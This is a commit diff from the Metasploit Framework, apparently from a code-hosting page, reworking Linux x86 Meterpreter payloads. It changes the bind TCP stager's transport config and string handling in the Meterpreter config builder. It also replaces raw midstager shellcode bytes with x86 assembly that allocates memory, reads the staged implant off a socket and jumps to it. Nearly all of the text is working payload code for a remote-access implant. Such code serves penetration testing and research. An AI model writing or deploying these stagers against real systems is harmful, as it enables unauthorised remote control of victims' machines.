Initial rework of POSIX stuff to handle new configuration
parent
451484cb0d
commit
9300158c9a
|
@ -44,12 +44,23 @@ module Payload::Linux::BindTcp
|
|||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
end
|
||||
|
||||
def generate_transport_config(opts={})
|
||||
{
|
||||
:scheme => 'tcp',
|
||||
:lport => datastore['LPORT'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
# TODO: figure out what this should be
|
||||
space = 300
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
@ -107,6 +118,7 @@ module Payload::Linux::BindTcp
|
|||
int 0x80
|
||||
xchg eax,edi ; restore the socket handle
|
||||
add esp, 0x14
|
||||
pop ecx
|
||||
|
||||
pop ebx
|
||||
pop esi
|
||||
|
|
|
@ -18,6 +18,11 @@ class Rex::Payloads::Meterpreter::Config
|
|||
|
||||
def initialize(opts={})
|
||||
@opts = opts
|
||||
if opts[:ascii_str] && opts[:ascii_str] == true
|
||||
@to_str = self.method(:to_ascii)
|
||||
else
|
||||
@to_str = self.method(:to_wchar_t)
|
||||
end
|
||||
end
|
||||
|
||||
def to_b
|
||||
|
@ -30,13 +35,25 @@ private
|
|||
@opts[:arch] == ARCH_X86
|
||||
end
|
||||
|
||||
def to_str(item, size)
|
||||
@to_str.call(item, size)
|
||||
end
|
||||
|
||||
def to_wchar_t(item, size)
|
||||
item.to_s.ljust(size, "\x00").unpack("C*").pack("v*")
|
||||
to_ascii(item, size).unpack("C*").pack("v*")
|
||||
end
|
||||
|
||||
def to_ascii(item, size)
|
||||
item.to_s.ljust(size, "\x00")
|
||||
end
|
||||
|
||||
def session_block(opts)
|
||||
uuid = to_wchar_t(opts[:uuid].to_raw, UUID_SIZE)
|
||||
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
||||
uuid = to_str(opts[:uuid].to_raw, UUID_SIZE)
|
||||
if opts[:exitfunk]
|
||||
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
||||
else
|
||||
exit_func = 0
|
||||
end
|
||||
|
||||
session_data = [
|
||||
0, # comms socket, patched in by the stager
|
||||
|
@ -63,17 +80,17 @@ private
|
|||
# of other stuff
|
||||
pack = 'A*VVV'
|
||||
transport_data = [
|
||||
to_wchar_t(url, URL_SIZE), # transport URL
|
||||
to_str(url, URL_SIZE), # transport URL
|
||||
opts[:comm_timeout], # communications timeout
|
||||
opts[:retry_total], # retry total time
|
||||
opts[:retry_wait] # retry wait time
|
||||
]
|
||||
|
||||
if url.start_with?('http')
|
||||
proxy_host = to_wchar_t(opts[:proxy_host] || '', PROXY_HOST_SIZE)
|
||||
proxy_user = to_wchar_t(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
||||
proxy_pass = to_wchar_t(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
||||
ua = to_wchar_t(opts[:ua] || '', UA_SIZE)
|
||||
proxy_host = to_str(opts[:proxy_host] || '', PROXY_HOST_SIZE)
|
||||
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
||||
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
||||
ua = to_str(opts[:ua] || '', UA_SIZE)
|
||||
|
||||
cert_hash = "\x00" * CERT_HASH_SIZE
|
||||
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
||||
|
|
|
@ -17,8 +17,8 @@ module Metasploit3
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Staged meterpreter server',
|
||||
'Author' => ['PKS', 'egypt'],
|
||||
'Description' => 'Inject the meterpreter server payload (staged)',
|
||||
'Author' => ['PKS', 'egypt', 'OJ Reeves'],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -35,6 +35,7 @@ module Metasploit3
|
|||
return ep
|
||||
end
|
||||
|
||||
=begin
|
||||
def elf2bin(payload)
|
||||
# XXX, not working. Use .c version
|
||||
|
||||
|
@ -64,31 +65,76 @@ module Metasploit3
|
|||
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
|
||||
return mem[0, used]
|
||||
end
|
||||
=end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
# Does a mmap() / read() loop of a user specified length, then
|
||||
# jumps to the entry point (the \x5a's)
|
||||
entry_offset = elf_ep(payload)
|
||||
config_offset = payload.length - generate_meterpreter.length
|
||||
|
||||
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
||||
|
||||
midstager <<
|
||||
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
||||
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
|
||||
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
|
||||
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
|
||||
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
|
||||
"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
|
||||
"\xd1\xff\xff\xff"
|
||||
|
||||
|
||||
# Patch in debug options
|
||||
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
|
||||
|
||||
# Patch entry point
|
||||
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
|
||||
encoded_entry = "0x%.8x" % entry_offset
|
||||
encoded_offset = "0x%.8x" % config_offset
|
||||
encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i
|
||||
|
||||
# Maybe in the future patch in base.
|
||||
|
||||
# Does a mmap() / read() loop of a user specified length, then
|
||||
# jumps to the entry point (the \x5a's)
|
||||
midstager_asm = %Q^
|
||||
midstager:
|
||||
and esp, 0xFFFFF254
|
||||
push 0x4
|
||||
pop edx
|
||||
mov ecx, esp
|
||||
mov ebx, edi
|
||||
push 0x3
|
||||
pop eax
|
||||
int 0x80
|
||||
push edi
|
||||
mov eax, 0xC0
|
||||
mov ebx, 0x20040000
|
||||
mov ecx, dword ptr [esp+0x4]
|
||||
push 0x7
|
||||
pop edx
|
||||
push 0x32
|
||||
pop esi
|
||||
xor edi, edi
|
||||
mov ebp, edi
|
||||
dec edi
|
||||
int 0x80
|
||||
cmp eax, 0xFFFFFF7F
|
||||
jb start_read
|
||||
terminate:
|
||||
xor eax, eax
|
||||
inc eax
|
||||
int 0x80 ; sys_exit
|
||||
start_read:
|
||||
xchg ecx, edx
|
||||
xchg ecx, ebx
|
||||
pop ebx
|
||||
read_loop:
|
||||
push 0x3
|
||||
pop eax
|
||||
int 0x80 ; sys_read
|
||||
cmp eax, 0xFFFFFF7F
|
||||
ja terminate ; exit on error
|
||||
test eax, eax
|
||||
je terminate ; exit on error
|
||||
add ecx, eax
|
||||
sub edx, eax
|
||||
jne read_loop ; read more
|
||||
; edx should be at the end, but we need to adjust for the size of the config
|
||||
; block so we know where to write the socket to memory
|
||||
sub ecx, #{encoded_offset}
|
||||
mov [ecx], ebx ; write the socket to the config
|
||||
push #{encoded_debug_options}
|
||||
push ecx ; pass in the configuration pointer
|
||||
mov eax, #{encoded_entry} ; put the entry point in eax
|
||||
call eax
|
||||
jmp terminate
|
||||
^
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
|
||||
|
||||
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
|
||||
conn.put(midstager)
|
||||
Rex::ThreadSafe.sleep(1.5)
|
||||
|
@ -100,19 +146,44 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate_stage
|
||||
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
|
||||
meterpreter = generate_meterpreter
|
||||
config = generate_config
|
||||
meterpreter + config
|
||||
end
|
||||
|
||||
def generate_meterpreter
|
||||
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
||||
|
||||
blob = File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i)
|
||||
blob
|
||||
end
|
||||
|
||||
return blob
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'linux',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => nil,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [ generate_transport_config(opts) ],
|
||||
:extensions => [],
|
||||
:ascii_str => true
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue